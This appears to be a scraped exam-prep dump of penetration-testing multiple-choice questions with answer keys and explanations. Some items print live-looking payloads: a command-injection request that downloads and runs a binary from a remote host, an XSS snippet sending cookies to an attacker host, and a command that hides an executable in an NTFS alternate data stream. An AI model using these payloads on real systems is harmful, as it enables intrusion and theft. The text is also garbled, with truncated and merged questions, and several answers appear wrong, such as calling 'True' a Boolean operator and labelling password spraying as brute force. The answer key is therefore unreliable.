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A penetration tester has been hired to perform a physical penetration test to gain access toa secure room within a client’s building. Exterior reconnaissance identifies two entrances, aWiFi guest network, and multiple security cameras connected to the Internet.Which of the following tools or techniques would BEST support additional reconnaissance?c
A. Wardriving B. Shodan C. Recon-ng D. Aircrack-ng
Answer: C
Question # 2
Given the following script:while True:print ("Hello World")Which of the following describes True?
A. A while loop B. A conditional C. A Boolean operator D. An arithmetic operator
Answer: C
Explanation: True is a Boolean operator in Python, which is an operator that returns either
True or False values based on logical conditions. Boolean operators can be used in
expressions or statements that evaluate to True or False values, such as comparisons,
assignments, or loops. In the code, True is used as the condition for a while loop, which is
a loop that repeats a block of code as long as the condition is True. The code will print
“Hello World” indefinitely because True will always be True and the loop will never end. The
other options are not valid descriptions of True.
Question # 3
A penetration tester was able to gain access to a system using an exploit. The following isa snippet of the code that was utilized:exploit = “POST ”exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache’%0A%27&loginUser=a&Pwd=a”exploit += “HTTP/1.1”Which of the following commands should the penetration tester run post-engagement?
A. grep –v apache ~/.bash_history > ~/.bash_history B. rm –rf /tmp/apache C. chmod 600 /tmp/apache D. taskkill /IM “apache” /F
Answer: B
Explanation:
The exploit code is a command injection attack that uses a vulnerable CGI script to execute
arbitrary commands on the target system. The commands are:
cd /tmp: change the current directory to /tmp
wget http://10.10.0.1/apache: download a file named apache from http://10.10.0.1 chmod 777 apache: change the permissions of the file to allow read, write, and
execute for everyone
./apache: run the file as an executable
The file apache is most likely a malicious payload that gives the attacker remote access to
the system or performs some other malicious action. Therefore, the penetration tester
should run the command rm -rf /tmp/apache post-engagement to remove the file and its
traces from the system. The other commands are not effective or relevant for this purpose.
Question # 4
A penetration tester has obtained shell access to a Windows host and wants to run aspecially crafted binary for later execution using the wmic.exe process call create function.Which of the following OS or filesystem mechanisms is MOST likely to support thisobjective?
A. Alternate data streams B. PowerShell modules C. MP4 steganography D. PsExec
Answer: A
Explanation: Alternate data streams (ADS) are a feature of the NTFS file system that
allows storing additional data in a file without affecting its size, name, or functionality. ADS can be used to hide or embed data or executable code in a file, such as a specially crafted
binary for later execution. ADS can be created or accessed using various tools or
commands, such as the command prompt, PowerShell, or Sysinternals12. For example,
the following command can create an ADS named secret.exe in a file named test.txt and
run it using wmic.exe process call create function: type secret.exe > test.txt:secret.exe &
wmic process call create "cmd.exe /c test.txt:secret.exe"
Question # 5
Which of the following is a regulatory compliance standard that focuses on user privacy byimplementing the right to be forgotten?
A. NIST SP 800-53 B. ISO 27001 C. GDPR
Answer: C
Explanation: GDPR is a regulatory compliance standard that focuses on user privacy by
implementing the right to be forgotten. GDPR stands for General Data Protection
Regulation, and it is a law that applies to the European Union and the United Kingdom.
GDPR gives individuals the right to request their personal data be deleted by data
controllers and processors under certain circumstances, such as when the data is no
longer necessary, when the consent is withdrawn, or when the data was unlawfully
processed. GDPR also imposes other obligations and rights related to data protection,
such as data minimization, data portability, data breach notification, and consent
management. The other options are not regulatory compliance standards that focus on
user privacy by implementing the right to be forgotten. NIST SP 800-53 is a set of security
and privacy controls for federal information systems and organizations in the United States.
ISO 27001 is an international standard that specifies the requirements for an information
security management system.
Question # 6
Penetration on an assessment for a client organization, a penetration tester noticesnumerous outdated software package versions were installed ...s-critical servers. Which ofthe following would best mitigate this issue?
A. Implementation of patching and change control programs B. Revision of client scripts used to perform system updates C. Remedial training for the client's systems administrators D. Refrainment from patching systems until quality assurance approves
Answer: A
Explanation: The best way to mitigate this issue is to implement patching and change
control programs, which are processes that involve applying updates or fixes to software
packages to address vulnerabilities, bugs, or performance issues, and managing or documenting the changes made to the software packages to ensure consistency,
compatibility, and security. Patching and change control programs can help prevent or
reduce the risk of attacks that exploit outdated software package versions, which may
contain known or unknown vulnerabilities that can compromise the security or functionality
of the systems or servers. Patching and change control programs can be implemented by
using tools such as WSUS, which is a tool that can manage and distribute updates for
Windows systems and applications1, or Git, which is a tool that can track and control
changes to source code or files2. The other options are not valid ways to mitigate this
issue. Revision of client scripts used to perform system updates is not a sufficient way to
mitigate this issue, as it may not address the root cause of why the software package
versions are outdated, such as lack of awareness, resources, or policies. Remedial training
for the client’s systems administrators is not a direct way to mitigate this issue, as it may
not result in immediate or effective actions to update the software package versions.
Refrainment from patching systems until quality assurance approves is not a way to
mitigate this issue, but rather a potential cause or barrier for why the software package
versions are outdated.
Question # 7
Which of the following OSSTM testing methodologies should be used to test under theworst conditions?
A. Tandem B. Reversal C. Semi-authorized D. Known environment
Answer: D
Explanation: The OSSTM testing methodology that should be used to test under the
worst conditions is known environment, which is a testing approach that assumes that the
tester has full knowledge of the target system or network, such as its architecture,
configuration, vulnerabilities, or defenses. A known environment testing can simulate a
worst-case scenario, where an attacker has gained access to sensitive information or
insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or
high-risk areas of the target, and provide recommendations for improving its security
posture. The other options are not OSSTM testing methodologies that should be used to
test under the worst conditions. Tandem is a testing approach that involves two testers
working together on the same target, one as an attacker and one as a defender, to
simulate a realistic attack scenario and evaluate the effectiveness of the defense
mechanisms. Reversal is a testing approach that involves switching roles between the
tester and the client, where the tester acts as a defender and the client acts as an attacker,
to assess the security awareness and skills of the client. Semi-authorized is a testing
approach that involves giving partial or limited authorization or access to the tester, such as
a user account or a network segment, to simulate an attack scenario where an attacker has
compromised a legitimate user or device.
Question # 8
A client wants a security assessment company to perform a penetration test against its hotsite. The purpose of the test is to determine the effectiveness of the defenses that protectagainst disruptions to business continuity. Which of the following is the MOST importantaction to take before starting this type of assessment?
A. Ensure the client has signed the SOW. B. Verify the client has granted network access to the hot site. C. Determine if the failover environment relies on resources not owned by the client. D. Establish communication and escalation procedures with the client.
Answer: A
Explanation:
The statement of work (SOW) is a document that defines the scope, objectives,
deliverables, and timeline of a penetration testing engagement. It is important to have the
client sign the SOW before starting the assessment to avoid any legal or contractual
issues.
Question # 9
Which of the following factors would a penetration tester most likely consider when testingat a location?
A. Determine if visas are required. B. Ensure all testers can access all sites. C. Verify the tools being used are legal for use at all sites. D. Establish the time of the day when a test can occur.
Answer: D
Explanation: One of the factors that a penetration tester would most likely consider when
testing at a location is to establish the time of day when a test can occur. This factor can
affect the scope, duration, and impact of the test, as well as the availability and response of
the client and the testers. Testing at different times of day can have different advantages
and disadvantages, such as testing during business hours to simulate realistic scenarios
and traffic patterns, or testing after hours to reduce disruption and interference. Testing at
different locations may also require adjusting for different time zones and daylight saving
times. Establishing the time of day when a test can occur can help plan and coordinate the
test effectively and avoid confusion or conflict with the client or other parties involved in the
test. The other options are not factors that a penetration tester would most likely consider
when testing at a location.
Question # 10
Given the following code: var+img=new+Image();img.src=”<a href="http://hacker/%20+%20document.cookie">http://hacker/%20+%20document.cookie</a>;</SCvar+img=new+Image();img.src=”<a href="http://hacker/%20+%20document.cookie">http://hacker/%20+%20document.cookie</a>;</SC RIPT>Which of the following are the BEST methods to prevent against this type of attack?(Choose two.)
A. Web-application firewall B. Parameterized queries C. Output encoding D. Session tokens E. Input validation F. Base64 encoding
Answer: C,E
Explanation: Encoding (commonly called “Output Encoding”) involves translating special
characters into some different but equivalent form that is no longer dangerous in the target
interpreter, for example translating the < character into the < string when writing to an
HTML page.
Output encoding and input validation are two of the best methods to prevent against this
type of attack, which is known as cross-site scripting (XSS). Output encoding is a technique
that converts user-supplied input into a safe format that prevents malicious scripts from
being executed by browsers or applications. Input validation is a technique that checks
user-supplied input against a set of rules or filters that reject any invalid or malicious data.
Web-application firewall is a device or software that monitors and blocks web traffic based
on predefined rules or signatures, but it may not catch all XSS attacks. Parameterized
queries are a technique that separates user input from SQL statements to prevent SQL
injection attacks, but they do not prevent XSS attacks. Session tokens are values that are
used to maintain state and identify users across web requests, but they do not prevent XSS
attacks. Base64 encoding is a technique that converts binary data into ASCII characters for
transmission or storage purposes, but it does not prevent XSS attacks.
Question # 11
A penetration tester learned that when users request password resets, help desk analystschange users' passwords to 123change. The penetration tester decides to brute force aninternet-facing webmail to check which users are still using the temporary password. Thetester configures the brute-force tool to test usernames found on a text file and the... Whichof the following techniques is the penetration tester using?
A. Password brute force attack B. SQL injection C. Password spraying D. Kerberoasting
Answer: A
Explanation: The penetration tester is using a password brute force attack, which is a
type of password guessing attack that involves trying many possible combinations of
passwords against a single username or account. A password brute force attack can be
effective when the password is known to be weak, simple, or predictable, such as a default
or temporary password. In this case, the penetration tester knows that the help desk
analysts change users’ passwords to 123change when they request password resets, and
decides to brute force the webmail with this password and a list of usernames. A password
brute force attack can be done by using tools such as Hydra, which can perform
parallelized login attacks against various protocols and services1. The other options are not
techniques that the penetration tester is using. SQL injection is a type of attack that exploits
a vulnerability in a web application that allows an attacker to execute malicious SQL
statements on a database server. Password spraying is a type of password guessing
attack that involves trying one or a few common passwords against many usernames or
accounts. Kerberoasting is a type of attack that exploits a vulnerability in the Kerberos
authentication protocol that allows an attacker to request and crack service tickets for
service accounts with weak passwords.
Question # 12
A penetration tester is exploring a client’s website. The tester performs a curl commandand obtains the following:* Connected to 10.2.11.144 (::1) port 80 (#0)> GET /readmine.html HTTP/1.1> Host: 10.2.11.144> User-Agent: curl/7.67.0> Accept: */*>* Mark bundle as not supporting multiuse< HTTP/1.1 200< Date: Tue, 02 Feb 2021 21:46:47 GMT< Server: Apache/2.4.41 (Debian)< Content-Length: 317< Content-Type: text/html; charset=iso-8859-1<<!DOCTYPE html><html lang=”en”><head> <meta name=”viewport” content=”width=device-width” /><meta http-equiv=”Content-Type” content=”text/html; charset=utf-8” /><title>WordPress › ReadMe</title><link rel=”stylesheet” href=”wp-admin/css/install.css?ver=20100228” type=”text/css” /></head>Which of the following tools would be BEST for the penetration tester to use to explore thissite further?
A. Burp Suite B. DirBuster C. WPScan D. OWASP ZAP
Answer: C
Explanation: WPScan is a tool that can be used to scan WordPress sites for
vulnerabilities, such as outdated plugins, themes, or core files, misconfigured settings,
weak passwords, or user enumeration. The curl command reveals that the site is running
WordPress and has a readme.html file that may disclose the version number. Therefore,
WPScan would be the best tool to use to explore this site further. Burp Suite is a tool that
can be used to intercept and modify web requests and responses, but it does not specialize
in WordPress scanning. DirBuster is a tool that can be used to brute-force directories and
files on web servers, but it does not exploit WordPress vulnerabilities. OWASP ZAP is a
tool that can be used to perform web application security testing, but it does not focus on
When accessing the URL http://192.168.0-1/validate/user.php, a penetration testerobtained the following output ..d index: eid in /apache/www/validate/user.php line 12 ..d index: uid in /apache/www/validate/user.php line 13 ..d index: pw in /apache/www/validate/user.php line 14 ..d index: acl in /apache/www/validate/user.php line 15
A. Lack of code signing B. Incorrect command syntax C. Insufficient error handling D. Insecure data transmission
Answer: C
Explanation: The most probable cause for this output is insufficient error handling, which
is a coding flaw that occurs when a program does not handle errors or exceptions properly
or gracefully. Insufficient error handling can result in unwanted or unexpected behavior,
such as crashes, hangs, or leaks. In this case, the output shows that the program is
displaying warning messages that indicate undefined indexes in the user.php file. These
messages reveal the names of the variables and the file path that are used by the program,
which can expose sensitive information or clues to an attacker. The program should have
implemented error handling mechanisms, such as try-catch blocks, error logging, or
sanitizing output, to prevent these messages from being displayed or to handle them
appropriately. The other options are not plausible causes for this output. Lack of code
signing is a security flaw that occurs when a program does not have a digital signature that
verifies its authenticity and integrity. Incorrect command syntax is a user error that occurs
when a command is entered with wrong or missing parameters or options. Insecure data
transmission is a security flaw that occurs when data is sent over a network without
